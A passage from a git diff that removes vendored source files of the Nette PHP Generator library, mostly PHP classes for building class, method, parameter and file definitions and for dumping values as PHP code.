Nette\InvalidArgumentException("Value '$name' is not valid class name."); - } - $this->name = $name; - return $this; - } - - - public function getName(): ?string - { - return $this->name; - } - - - /** @return static */ - public function setClass(): self - { - $this->type = self::TYPE_CLASS; - return $this; - } - - - public function isClass(): bool - { - return $this->type === self::TYPE_CLASS; - } - - - /** @return static */ - public function setInterface(): self - { - $this->type = self::TYPE_INTERFACE; - return $this; - } - - - public function isInterface(): bool - { - return $this->type === self::TYPE_INTERFACE; - } - - - /** @return static */ - public function setTrait(): self - { - $this->type = self::TYPE_TRAIT; - return $this; - } - - - public function isTrait(): bool - { - return $this->type === self::TYPE_TRAIT; - } - - - /** @return static */ - public function setType(string $type): self - { - if (!in_array($type, [self::TYPE_CLASS, self::TYPE_INTERFACE, self::TYPE_TRAIT], true)) { - throw new Nette\InvalidArgumentException('Argument must be class|interface|trait.'); - } - $this->type = $type; - return $this; - } - - - public function getType(): string - { - return $this->type; - } - - - /** @return static */ - public function setFinal(bool $state = true): self - { - $this->final = $state; - return $this; - } - - - public function isFinal(): bool - { - return $this->final; - } - - - /** @return static */ - public function setAbstract(bool $state = true): self - { - $this->abstract = $state; - return $this; - } - - - public function isAbstract(): bool - { - return $this->abstract; - } - - - /** - * @param string|string[] $names - * @return static - */ - public function setExtends($names): self - { - if (!is_string($names) && !is_array($names)) { - throw new Nette\InvalidArgumentException('Argument must be string or string[].'); - } - $this->validateNames((array) $names); - $this->extends = $names; - return $this; - } - - - /** @return string|string[] */ - public function getExtends() - { - return $this->extends; - } - - - /** @return static */ - public function addExtend(string $name): self - { - $this->validateNames([$name]); - $this->extends = (array) $this->extends; - $this->extends[] = $name; - return $this; - } - - - /** - * @param string[] $names - * @return static - */ - public function setImplements(array $names): self - { - $this->validateNames($names); - $this->implements = $names; - return $this; - } - - - /** @return string[] */ - public function getImplements(): array - { - return $this->implements; - } - - - /** @return static */ - public function addImplement(string $name): self - { - $this->validateNames([$name]); - $this->implements[] = $name; - return $this; - } - - - /** @return static */ - public function removeImplement(string $name): self - { - $key = array_search($name, $this->implements, true); - if ($key !== false) { - unset($this->implements[$key]); - } - return $this; - } - - - /** - * @param string[] $names - * @return static - */ - public function setTraits(array $names): self - { - $this->validateNames($names); - $this->traits = array_fill_keys($names, []); - return $this; - } - - - /** @return string[] */ - public function getTraits(): array - { - return array_keys($this->traits); - } - - - /** @internal */ - public function getTraitResolutions(): array - { - return $this->traits; - } - - - /** @return static */ - public function addTrait(string $name, array $resolutions = []): self - { - $this->validateNames([$name]); - $this->traits[$name] = $resolutions; - return $this; - } - - - /** @return static */ - public function removeTrait(string $name): self - { - unset($this->traits[$name]); - return $this; - } - - - /** - * @param Method|Property|Constant $member - * @return static - */ - public function addMember($member): self - { - if ($member instanceof Method) { - if ($this->isInterface()) { - $member->setBody(null); - } - $this->methods[$member->getName()] = $member; - - } elseif ($member instanceof Property) { - $this->properties[$member->getName()] = $member; - - } elseif ($member instanceof Constant) { - $this->consts[$member->getName()] = $member; - - } else { - throw new Nette\InvalidArgumentException('Argument must be Method|Property|Constant.'); - } - - return $this; - } - - - /** - * @param Constant[]|mixed[] $consts - * @return static - */ - public function setConstants(array $consts): self - { - $this->consts = []; - foreach ($consts as $k => $v) { - $const = $v instanceof Constant ? $v : (new Constant($k))->setValue($v); - $this->consts[$const->getName()] = $const; - } - return $this; - } - - - /** @return Constant[] */ - public function getConstants(): array - { - return $this->consts; - } - - - public function addConstant(string $name, $value): Constant - { - return $this->consts[$name] = (new Constant($name))->setValue($value); - } - - - /** @return static */ - public function removeConstant(string $name): self - { - unset($this->consts[$name]); - return $this; - } - - - /** - * @param Property[] $props - * @return static - */ - public function setProperties(array $props): self - { - $this->properties = []; - foreach ($props as $v) { - if (!$v instanceof Property) { - throw new Nette\InvalidArgumentException('Argument must be Nette\PhpGenerator\Property[].'); - } - $this->properties[$v->getName()] = $v; - } - return $this; - } - - - /** @return Property[] */ - public function getProperties(): array - { - return $this->properties; - } - - - public function getProperty(string $name): Property - { - if (!isset($this->properties[$name])) { - throw new Nette\InvalidArgumentException("Property '$name' not found."); - } - return $this->properties[$name]; - } - - - /** - * @param string $name without $ - */ - public function addProperty(string $name, $value = null): Property - { - return $this->properties[$name] = (new Property($name))->setValue($value); - } - - - /** - * @param string $name without $ - * @return static - */ - public function removeProperty(string $name): self - { - unset($this->properties[$name]); - return $this; - } - - - public function hasProperty(string $name): bool - { - return isset($this->properties[$name]); - } - - - /** - * @param Method[] $methods - * @return static - */ - public function setMethods(array $methods): self - { - $this->methods = []; - foreach ($methods as $v) { - if (!$v instanceof Method) { - throw new Nette\InvalidArgumentException('Argument must be Nette\PhpGenerator\Method[].'); - } - $this->methods[$v->getName()] = $v; - } - return $this; - } - - - /** @return Method[] */ - public function getMethods(): array - { - return $this->methods; - } - - - public function getMethod(string $name): Method - { - if (!isset($this->methods[$name])) { - throw new Nette\InvalidArgumentException("Method '$name' not found."); - } - return $this->methods[$name]; - } - - - public function addMethod(string $name): Method - { - $method = new Method($name); - if ($this->isInterface()) { - $method->setBody(null); - } else { - $method->setPublic(); - } - return $this->methods[$name] = $method; - } - - - /** @return static */ - public function removeMethod(string $name): self - { - unset($this->methods[$name]); - return $this; - } - - - public function hasMethod(string $name): bool - { - return isset($this->methods[$name]); - } - - - /** @throws Nette\InvalidStateException */ - public function validate(): void - { - if ($this->abstract && $this->final) { - throw new Nette\InvalidStateException('Class cannot be abstract and final.'); - - } elseif (!$this->name && ($this->abstract || $this->final)) { - throw new Nette\InvalidStateException('Anonymous class cannot be abstract or final.'); - } - } - - - private function validateNames(array $names): void - { - foreach ($names as $name) { - if (!Helpers::isNamespaceIdentifier($name, true)) { - throw new Nette\InvalidArgumentException("Value '$name' is not valid class name."); - } - } - } - - - public function __clone() - { - $clone = function ($item) { return clone $item; }; - $this->consts = array_map($clone, $this->consts); - $this->properties = array_map($clone, $this->properties); - $this->methods = array_map($clone, $this->methods); - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Closure.php b/vendor/nette/php-generator/src/PhpGenerator/Closure.php deleted file mode 100644 index b8fa86b..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Closure.php +++ /dev/null @@ -1,71 +0,0 @@ -fromFunctionReflection(new \ReflectionFunction($closure)); - } - - - public function __toString(): string - { - try { - return (new Printer)->printClosure($this); - } catch (\Throwable $e) { - if (PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } - - - /** - * @param Parameter[] $uses - * @return static - */ - public function setUses(array $uses): self - { - (function (Parameter ...$uses) {})(...$uses); - $this->uses = $uses; - return $this; - } - - - public function getUses(): array - { - return $this->uses; - } - - - public function addUse(string $name): Parameter - { - return $this->uses[] = new Parameter($name); - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Constant.php b/vendor/nette/php-generator/src/PhpGenerator/Constant.php deleted file mode 100644 index 7d3a83d..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Constant.php +++ /dev/null @@ -1,41 +0,0 @@ -value = $val; - return $this; - } - - - public function getValue() - { - return $this->value; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Dumper.php b/vendor/nette/php-generator/src/PhpGenerator/Dumper.php deleted file mode 100644 index 6faa956..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Dumper.php +++ /dev/null @@ -1,230 +0,0 @@ -dumpVar($var, [], 0, $column); - } - - - private function dumpVar(&$var, array $parents = [], int $level = 0, int $column = 0): string - { - if ($var instanceof Literal) { - return ltrim(Nette\Utils\Strings::indent(trim((string) $var), $level), "\t"); - - } elseif ($var === null) { - return 'null'; - - } elseif (is_string($var)) { - return $this->dumpString($var); - - } elseif (is_array($var)) { - return $this->dumpArray($var, $parents, $level, $column); - - } elseif (is_object($var)) { - return $this->dumpObject($var, $parents, $level); - - } elseif (is_resource($var)) { - throw new Nette\InvalidArgumentException('Cannot dump resource.'); - - } else { - return var_export($var, true); - } - } - - - private function dumpString(string $var): string - { - if (preg_match('#[^\x09\x20-\x7E\xA0-\x{10FFFF}]#u', $var) || preg_last_error()) { - static $table; - if ($table === null) { - foreach (array_merge(range("\x00", "\x1F"), range("\x7F", "\xFF")) as $ch) { - $table[$ch] = '\x' . str_pad(dechex(ord($ch)), 2, '0', STR_PAD_LEFT); - } - $table['\\'] = '\\\\'; - $table["\r"] = '\r'; - $table["\n"] = '\n'; - $table["\t"] = '\t'; - $table['$'] = '\$'; - $table['"'] = '\"'; - } - return '"' . strtr($var, $table) . '"'; - } - - return "'" . preg_replace('#\'|\\\\(?=[\'\\\\]|$)#D', '\\\\$0', $var) . "'"; - } - - - private function dumpArray(array &$var, array $parents, int $level, int $column): string - { - if (empty($var)) { - return '[]'; - - } elseif ($level > $this->maxDepth || in_array($var, $parents ?? [], true)) { - throw new Nette\InvalidArgumentException('Nesting level too deep or recursive dependency.'); - } - - $space = str_repeat("\t", $level); - $outInline = ''; - $outWrapped = "\n$space"; - $parents[] = $var; - $counter = 0; - $hideKeys = is_int(($tmp = array_keys($var))[0]) && $tmp === range($tmp[0], $tmp[0] + count($var) - 1); - - foreach ($var as $k => &$v) { - $keyPart = $hideKeys && $k === $counter ? '' : $this->dumpVar($k) . ' => '; - $counter = is_int($k) ? max($k + 1, $counter) : $counter; - $outInline .= ($outInline === '' ? '' : ', ') . $keyPart; - $outInline .= $this->dumpVar($v, $parents, 0, $column + strlen($outInline)); - $outWrapped .= "\t" - . $keyPart - . $this->dumpVar($v, $parents, $level + 1, strlen($keyPart)) - . ",\n$space"; - } - - array_pop($parents); - $wrap = strpos($outInline, "\n") !== false || $level * self::INDENT_LENGTH + $column + strlen($outInline) + 3 > $this->wrapLength; // 3 = [], - return '[' . ($wrap ? $outWrapped : $outInline) . ']'; - } - - - private function dumpObject(&$var, array $parents, int $level): string - { - if ($var instanceof \Serializable) { - return 'unserialize(' . $this->dumpString(serialize($var)) . ')'; - - } elseif ($var instanceof \Closure) { - throw new Nette\InvalidArgumentException('Cannot dump closure.'); - } - - $class = get_class($var); - if ((new \ReflectionObject($var))->isAnonymous()) { - throw new Nette\InvalidArgumentException('Cannot dump anonymous class.'); - - } elseif (in_array($class, [\DateTime::class, \DateTimeImmutable::class], true)) { - return $this->format("new \\$class(?, new \\DateTimeZone(?))", $var->format('Y-m-d H:i:s.u'), $var->getTimeZone()->getName()); - } - - $arr = (array) $var; - $space = str_repeat("\t", $level); - - if ($level > $this->maxDepth || in_array($var, $parents ?? [], true)) { - throw new Nette\InvalidArgumentException('Nesting level too deep or recursive dependency.'); - } - - $out = "\n"; - $parents[] = $var; - if (method_exists($var, '__sleep')) { - foreach ($var->__sleep() as $v) { - $props[$v] = $props["\x00*\x00$v"] = $props["\x00$class\x00$v"] = true; - } - } - - foreach ($arr as $k => &$v) { - if (!isset($props) || isset($props[$k])) { - $out .= "$space\t" - . ($keyPart = $this->dumpVar($k) . ' => ') - . $this->dumpVar($v, $parents, $level + 1, strlen($keyPart)) - . ",\n"; - } - } - - array_pop($parents); - $out .= $space; - return $class === \stdClass::class - ? "(object) [$out]" - : '\\' . __CLASS__ . "::createObject('$class', [$out])"; - } - - - /** - * Generates PHP statement. - */ - public function format(string $statement, ...$args): string - { - $tokens = preg_split('#(\.\.\.\?|\$\?|->\?|::\?|\\\\\?|\?\*|\?)#', $statement, -1, PREG_SPLIT_DELIM_CAPTURE); - $res = ''; - foreach ($tokens as $n => $token) { - if ($n % 2 === 0) { - $res .= $token; - } elseif ($token === '\\?') { - $res .= '?'; - } elseif (!$args) { - throw new Nette\InvalidArgumentException('Insufficient number of arguments.'); - } elseif ($token === '?') { - $res .= $this->dump(array_shift($args), strlen($res) - strrpos($res, "\n")); - } elseif ($token === '...?' || $token === '?*') { - $arg = array_shift($args); - if (!is_array($arg)) { - throw new Nette\InvalidArgumentException('Argument must be an array.'); - } - $res .= $this->dumpArguments($arg, strlen($res) - strrpos($res, "\n")); - - } else { // $ -> :: - $arg = array_shift($args); - if ($arg instanceof Literal || !Helpers::isIdentifier($arg)) { - $arg = '{' . $this->dumpVar($arg) . '}'; - } - $res .= substr($token, 0, -1) . $arg; - } - } - if ($args) { - throw new Nette\InvalidArgumentException('Insufficient number of placeholders.'); - } - return $res; - } - - - private function dumpArguments(array &$var, int $column): string - { - $outInline = $outWrapped = ''; - - foreach ($var as &$v) { - $outInline .= $outInline === '' ? '' : ', '; - $outInline .= $this->dumpVar($v, [$var], 0, $column + strlen($outInline)); - $outWrapped .= ($outWrapped === '' ? '' : ',') . "\n\t" . $this->dumpVar($v, [$var], 1); - } - - return count($var) > 1 && (strpos($outInline, "\n") !== false || $column + strlen($outInline) > $this->wrapLength) - ? $outWrapped . "\n" - : $outInline; - } - - - /** - * @return object - * @internal - */ - public static function createObject(string $class, array $props) - { - return unserialize('O' . substr(serialize($class), 1, -1) . substr(serialize($props), 1)); - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Factory.php b/vendor/nette/php-generator/src/PhpGenerator/Factory.php deleted file mode 100644 index 5a8f1a4..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Factory.php +++ /dev/null @@ -1,317 +0,0 @@ -isAnonymous() - ? new ClassType - : new ClassType($from->getShortName(), new PhpNamespace($from->getNamespaceName())); - $class->setType($from->isInterface() ? $class::TYPE_INTERFACE : ($from->isTrait() ? $class::TYPE_TRAIT : $class::TYPE_CLASS)); - $class->setFinal($from->isFinal() && $class->isClass()); - $class->setAbstract($from->isAbstract() && $class->isClass()); - - $ifaces = $from->getInterfaceNames(); - foreach ($ifaces as $iface) { - $ifaces = array_filter($ifaces, function (string $item) use ($iface): bool { - return !is_subclass_of($iface, $item); - }); - } - $class->setImplements($ifaces); - - $class->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); - if ($from->getParentClass()) { - $class->setExtends($from->getParentClass()->name); - $class->setImplements(array_diff($class->getImplements(), $from->getParentClass()->getInterfaceNames())); - } - $props = $methods = $consts = []; - foreach ($from->getProperties() as $prop) { - if ($prop->isDefault() && $prop->getDeclaringClass()->name === $from->name) { - $props[] = $this->fromPropertyReflection($prop); - } - } - $class->setProperties($props); - - $bodies = $withBodies ? $this->loadMethodBodies($from) : []; - foreach ($from->getMethods() as $method) { - if ($method->getDeclaringClass()->name === $from->name) { - $methods[] = $m = $this->fromMethodReflection($method); - if (isset($bodies[$method->name])) { - $m->setBody($bodies[$method->name]); - } - } - } - $class->setMethods($methods); - - foreach ($from->getReflectionConstants() as $const) { - if ($const->getDeclaringClass()->name === $from->name) { - $consts[] = $this->fromConstantReflection($const); - } - } - $class->setConstants($consts); - - return $class; - } - - - public function fromMethodReflection(\ReflectionMethod $from): Method - { - $method = new Method($from->name); - $method->setParameters(array_map([$this, 'fromParameterReflection'], $from->getParameters())); - $method->setStatic($from->isStatic()); - $isInterface = $from->getDeclaringClass()->isInterface(); - $method->setVisibility($from->isPrivate() - ? ClassType::VISIBILITY_PRIVATE - : ($from->isProtected() ? ClassType::VISIBILITY_PROTECTED : ($isInterface ? null : ClassType::VISIBILITY_PUBLIC)) - ); - $method->setFinal($from->isFinal()); - $method->setAbstract($from->isAbstract() && !$isInterface); - $method->setBody($from->isAbstract() ? null : ''); - $method->setReturnReference($from->returnsReference()); - $method->setVariadic($from->isVariadic()); - $method->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); - if ($from->getReturnType() instanceof \ReflectionNamedType) { - $method->setReturnType($from->getReturnType()->getName()); - $method->setReturnNullable($from->getReturnType()->allowsNull()); - } - return $method; - } - - - /** @return GlobalFunction|Closure */ - public function fromFunctionReflection(\ReflectionFunction $from, bool $withBody = false) - { - $function = $from->isClosure() ? new Closure : new GlobalFunction($from->name); - $function->setParameters(array_map([$this, 'fromParameterReflection'], $from->getParameters())); - $function->setReturnReference($from->returnsReference()); - $function->setVariadic($from->isVariadic()); - if (!$from->isClosure()) { - $function->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); - } - if ($from->getReturnType() instanceof \ReflectionNamedType) { - $function->setReturnType($from->getReturnType()->getName()); - $function->setReturnNullable($from->getReturnType()->allowsNull()); - } - $function->setBody($withBody ? $this->loadFunctionBody($from) : ''); - return $function; - } - - - /** @return Method|GlobalFunction|Closure */ - public function fromCallable(callable $from) - { - $ref = Nette\Utils\Callback::toReflection($from); - return $ref instanceof \ReflectionMethod - ? self::fromMethodReflection($ref) - : self::fromFunctionReflection($ref); - } - - - public function fromParameterReflection(\ReflectionParameter $from): Parameter - { - $param = new Parameter($from->name); - $param->setReference($from->isPassedByReference()); - $param->setType($from->getType() instanceof \ReflectionNamedType ? $from->getType()->getName() : null); - $param->setNullable($from->hasType() && $from->getType()->allowsNull()); - if ($from->isDefaultValueAvailable()) { - $param->setDefaultValue($from->isDefaultValueConstant() - ? new Literal($from->getDefaultValueConstantName()) - : $from->getDefaultValue()); - $param->setNullable($param->isNullable() && $param->getDefaultValue() !== null); - } - return $param; - } - - - public function fromConstantReflection(\ReflectionClassConstant $from): Constant - { - $const = new Constant($from->name); - $const->setValue($from->getValue()); - $const->setVisibility($from->isPrivate() - ? ClassType::VISIBILITY_PRIVATE - : ($from->isProtected() ? ClassType::VISIBILITY_PROTECTED : ClassType::VISIBILITY_PUBLIC) - ); - $const->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); - return $const; - } - - - public function fromPropertyReflection(\ReflectionProperty $from): Property - { - $defaults = $from->getDeclaringClass()->getDefaultProperties(); - $prop = new Property($from->name); - $prop->setValue($defaults[$prop->getName()] ?? null); - $prop->setStatic($from->isStatic()); - $prop->setVisibility($from->isPrivate() - ? ClassType::VISIBILITY_PRIVATE - : ($from->isProtected() ? ClassType::VISIBILITY_PROTECTED : ClassType::VISIBILITY_PUBLIC) - ); - if (PHP_VERSION_ID >= 70400 && ($from->getType() instanceof \ReflectionNamedType)) { - $prop->setType($from->getType()->getName()); - $prop->setNullable($from->getType()->allowsNull()); - $prop->setInitialized(array_key_exists($prop->getName(), $defaults)); - } - $prop->setComment(Helpers::unformatDocComment((string) $from->getDocComment())); - return $prop; - } - - - private function loadMethodBodies(\ReflectionClass $from): array - { - if ($from->isAnonymous()) { - throw new Nette\NotSupportedException('Anonymous classes are not supported.'); - } - - [$code, $stmts] = $this->parse($from); - $nodeFinder = new PhpParser\NodeFinder; - $class = $nodeFinder->findFirst($stmts, function (Node $node) use ($from) { - return ($node instanceof Node\Stmt\Class_ || $node instanceof Node\Stmt\Trait_) && $node->namespacedName->toString() === $from->name; - }); - - $bodies = []; - foreach ($nodeFinder->findInstanceOf($class, Node\Stmt\ClassMethod::class) as $method) { - /** @var Node\Stmt\ClassMethod $method */ - if ($method->stmts) { - $body = $this->extractBody($nodeFinder, $code, $method->stmts); - $bodies[$method->name->toString()] = Helpers::unindent($body, 2); - } - } - return $bodies; - } - - - private function loadFunctionBody(\ReflectionFunction $from): string - { - if ($from->isClosure()) { - throw new Nette\NotSupportedException('Closures are not supported.'); - } - - [$code, $stmts] = $this->parse($from); - - $nodeFinder = new PhpParser\NodeFinder; - /** @var Node\Stmt\Function_ $function */ - $function = $nodeFinder->findFirst($stmts, function (Node $node) use ($from) { - return $node instanceof Node\Stmt\Function_ && $node->namespacedName->toString() === $from->name; - }); - - $body = $this->extractBody($nodeFinder, $code, $function->stmts); - return Helpers::unindent($body, 1); - } - - - /** - * @param Node[] $statements - */ - private function extractBody(PhpParser\NodeFinder $nodeFinder, string $originalCode, array $statements): string - { - $start = $statements[0]->getAttribute('startFilePos'); - $body = substr($originalCode, $start, end($statements)->getAttribute('endFilePos') - $start + 1); - - $replacements = []; - // name-nodes => resolved fully-qualified name - foreach ($nodeFinder->findInstanceOf($statements, Node\Name::class) as $node) { - if ($node->hasAttribute('resolvedName') - && $node->getAttribute('resolvedName') instanceof Node\Name\FullyQualified - ) { - $replacements[] = [ - $node->getStartFilePos(), - $node->getEndFilePos(), - $node->getAttribute('resolvedName')->toCodeString(), - ]; - } - } - - // multi-line strings => singleline - foreach (array_merge( - $nodeFinder->findInstanceOf($statements, Node\Scalar\String_::class), - $nodeFinder->findInstanceOf($statements, Node\Scalar\EncapsedStringPart::class) - ) as $node) { - $token = substr($body, $node->getStartFilePos() - $start, $node->getEndFilePos() - $node->getStartFilePos() + 1); - if (strpos($token, "\n") !== false) { - $quote = $node instanceof Node\Scalar\String_ ? '"' : ''; - $replacements[] = [ - $node->getStartFilePos(), - $node->getEndFilePos(), - $quote . addcslashes($node->value, "\x00..\x1F") . $quote, - ]; - } - } - - // HEREDOC => "string" - foreach ($nodeFinder->findInstanceOf($statements, Node\Scalar\Encapsed::class) as $node) { - if ($node->getAttribute('kind') === Node\Scalar\String_::KIND_HEREDOC) { - $replacements[] = [ - $node->getStartFilePos(), - $node->parts[0]->getStartFilePos() - 1, - '"', - ]; - $replacements[] = [ - end($node->parts)->getEndFilePos() + 1, - $node->getEndFilePos(), - '"', - ]; - } - } - - //sort collected resolved names by position in file - usort($replacements, function ($a, $b) { - return $a[0] <=> $b[0]; - }); - $correctiveOffset = -$start; - //replace changes body length so we need correct offset - foreach ($replacements as [$startPos, $endPos, $replacement]) { - $replacingStringLength = $endPos - $startPos + 1; - $body = substr_replace( - $body, - $replacement, - $correctiveOffset + $startPos, - $replacingStringLength - ); - $correctiveOffset += strlen($replacement) - $replacingStringLength; - } - return $body; - } - - - private function parse($from): array - { - $file = $from->getFileName(); - if (!class_exists(ParserFactory::class)) { - throw new Nette\NotSupportedException("PHP-Parser is required to load method bodies, install package 'nikic/php-parser'."); - } elseif (!$file) { - throw new Nette\InvalidStateException("Source code of $from->name not found."); - } - - $lexer = new PhpParser\Lexer(['usedAttributes' => ['startFilePos', 'endFilePos']]); - $parser = (new ParserFactory)->create(ParserFactory::ONLY_PHP7, $lexer); - $code = file_get_contents($file); - $code = str_replace("\r\n", "\n", $code); - $stmts = $parser->parse($code); - - $traverser = new PhpParser\NodeTraverser; - $traverser->addVisitor(new PhpParser\NodeVisitor\NameResolver(null, ['replaceNodes' => false])); - $stmts = $traverser->traverse($stmts); - - return [$code, $stmts]; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/GlobalFunction.php b/vendor/nette/php-generator/src/PhpGenerator/GlobalFunction.php deleted file mode 100644 index 804259a..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/GlobalFunction.php +++ /dev/null @@ -1,51 +0,0 @@ -fromFunctionReflection(new \ReflectionFunction($function)); - } - - - public static function withBodyFrom(string $function): self - { - return (new Factory)->fromFunctionReflection(new \ReflectionFunction($function), true); - } - - - public function __toString(): string - { - try { - return (new Printer)->printFunction($this); - } catch (\Throwable $e) { - if (PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Helpers.php b/vendor/nette/php-generator/src/PhpGenerator/Helpers.php deleted file mode 100644 index 24a8f44..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Helpers.php +++ /dev/null @@ -1,106 +0,0 @@ -dump($var); - } - - - /** @deprecated use Nette\PhpGenerator\Dumper::format() */ - public static function format(string $statement, ...$args): string - { - return (new Dumper)->format($statement, ...$args); - } - - - /** @deprecated use Nette\PhpGenerator\Dumper::format() */ - public static function formatArgs(string $statement, array $args): string - { - return (new Dumper)->format($statement, ...$args); - } - - - public static function formatDocComment(string $content): string - { - if (($s = trim($content)) === '') { - return ''; - } elseif (strpos($content, "\n") === false) { - return "/** $s */\n"; - } else { - return str_replace("\n", "\n * ", "/**\n$s") . "\n */\n"; - } - } - - - public static function unformatDocComment(string $comment): string - { - return preg_replace('#^\s*\* ?#m', '', trim(trim(trim($comment), '/*'))); - } - - - public static function unindent(string $s, int $level = 1): string - { - return preg_replace('#^(\t|\ \ \ \ ){1,' . $level . '}#m', '', $s); - } - - - public static function isIdentifier($value): bool - { - return is_string($value) && preg_match('#^' . self::PHP_IDENT . '$#D', $value); - } - - - public static function isNamespaceIdentifier($value, bool $allowLeadingSlash = false): bool - { - $re = '#^' . ($allowLeadingSlash ? '\\\\?' : '') . self::PHP_IDENT . '(\\\\' . self::PHP_IDENT . ')*$#D'; - return is_string($value) && preg_match($re, $value); - } - - - public static function extractNamespace(string $name): string - { - return ($pos = strrpos($name, '\\')) ? substr($name, 0, $pos) : ''; - } - - - public static function extractShortName(string $name): string - { - return ($pos = strrpos($name, '\\')) === false ? $name : substr($name, $pos + 1); - } - - - public static function tabsToSpaces(string $s, int $count = 4): string - { - return str_replace("\t", str_repeat(' ', $count), $s); - } - - - /** @internal */ - public static function createObject(string $class, array $props) - { - return Dumper::createObject($class, $props); - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Literal.php b/vendor/nette/php-generator/src/PhpGenerator/Literal.php deleted file mode 100644 index 48dbd83..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Literal.php +++ /dev/null @@ -1,32 +0,0 @@ -value = $value; - } - - - public function __toString(): string - { - return $this->value; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Method.php b/vendor/nette/php-generator/src/PhpGenerator/Method.php deleted file mode 100644 index ff00f4d..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Method.php +++ /dev/null @@ -1,127 +0,0 @@ -fromMethodReflection(Nette\Utils\Callback::toReflection($method)); - } - - - public function __toString(): string - { - try { - return (new Printer)->printMethod($this); - } catch (\Throwable $e) { - if (PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } - - - /** @return static */ - public function setBody(?string $code, array $args = null): self - { - $this->body = $args === null || $code === null ? $code : (new Dumper)->format($code, ...$args); - return $this; - } - - - public function getBody(): ?string - { - return $this->body; - } - - - /** @return static */ - public function setStatic(bool $state = true): self - { - $this->static = $state; - return $this; - } - - - public function isStatic(): bool - { - return $this->static; - } - - - /** @return static */ - public function setFinal(bool $state = true): self - { - $this->final = $state; - return $this; - } - - - public function isFinal(): bool - { - return $this->final; - } - - - /** @return static */ - public function setAbstract(bool $state = true): self - { - $this->abstract = $state; - return $this; - } - - - public function isAbstract(): bool - { - return $this->abstract; - } - - - /** @throws Nette\InvalidStateException */ - public function validate(): void - { - if ($this->abstract && ($this->final || $this->visibility === ClassType::VISIBILITY_PRIVATE)) { - throw new Nette\InvalidStateException('Method cannot be abstract and final or private.'); - } - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Parameter.php b/vendor/nette/php-generator/src/PhpGenerator/Parameter.php deleted file mode 100644 index 63daa1a..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Parameter.php +++ /dev/null @@ -1,129 +0,0 @@ -reference = $state; - return $this; - } - - - public function isReference(): bool - { - return $this->reference; - } - - - /** @return static */ - public function setType(?string $type): self - { - $this->type = $type; - return $this; - } - - - public function getType(): ?string - { - return $this->type; - } - - - /** @deprecated use setType() */ - public function setTypeHint(?string $type): self - { - $this->type = $type; - return $this; - } - - - /** @deprecated use getType() */ - public function getTypeHint(): ?string - { - return $this->type; - } - - - /** - * @deprecated just use setDefaultValue() - * @return static - */ - public function setOptional(bool $state = true): self - { - trigger_error(__METHOD__ . '() is deprecated, use setDefaultValue()', E_USER_DEPRECATED); - $this->hasDefaultValue = $state; - return $this; - } - - - /** @return static */ - public function setNullable(bool $state = true): self - { - $this->nullable = $state; - return $this; - } - - - public function isNullable(): bool - { - return $this->nullable; - } - - - /** @return static */ - public function setDefaultValue($val): self - { - $this->defaultValue = $val; - $this->hasDefaultValue = true; - return $this; - } - - - public function getDefaultValue() - { - return $this->defaultValue; - } - - - public function hasDefaultValue(): bool - { - return $this->hasDefaultValue; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/PhpFile.php b/vendor/nette/php-generator/src/PhpGenerator/PhpFile.php deleted file mode 100644 index 8261325..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/PhpFile.php +++ /dev/null @@ -1,122 +0,0 @@ -addNamespace(Helpers::extractNamespace($name)) - ->addClass(Helpers::extractShortName($name)); - } - - - public function addInterface(string $name): ClassType - { - return $this - ->addNamespace(Helpers::extractNamespace($name)) - ->addInterface(Helpers::extractShortName($name)); - } - - - public function addTrait(string $name): ClassType - { - return $this - ->addNamespace(Helpers::extractNamespace($name)) - ->addTrait(Helpers::extractShortName($name)); - } - - - public function addNamespace(string $name): PhpNamespace - { - if (!isset($this->namespaces[$name])) { - $this->namespaces[$name] = new PhpNamespace($name); - foreach ($this->namespaces as $namespace) { - $namespace->setBracketedSyntax(count($this->namespaces) > 1 && isset($this->namespaces[''])); - } - } - return $this->namespaces[$name]; - } - - - /** @return PhpNamespace[] */ - public function getNamespaces(): array - { - return $this->namespaces; - } - - - /** @return static */ - public function addUse(string $name, string $alias = null): self - { - $this->addNamespace('')->addUse($name, $alias); - return $this; - } - - - /** - * Adds declare(strict_types=1) to output. - * @return static - */ - public function setStrictTypes(bool $on = true): self - { - $this->strictTypes = $on; - return $this; - } - - - public function hasStrictTypes(): bool - { - return $this->strictTypes; - } - - - /** @deprecated use hasStrictTypes() */ - public function getStrictTypes(): bool - { - return $this->strictTypes; - } - - - public function __toString(): string - { - try { - return (new Printer)->printFile($this); - } catch (\Throwable $e) { - if (PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } -} diff --git 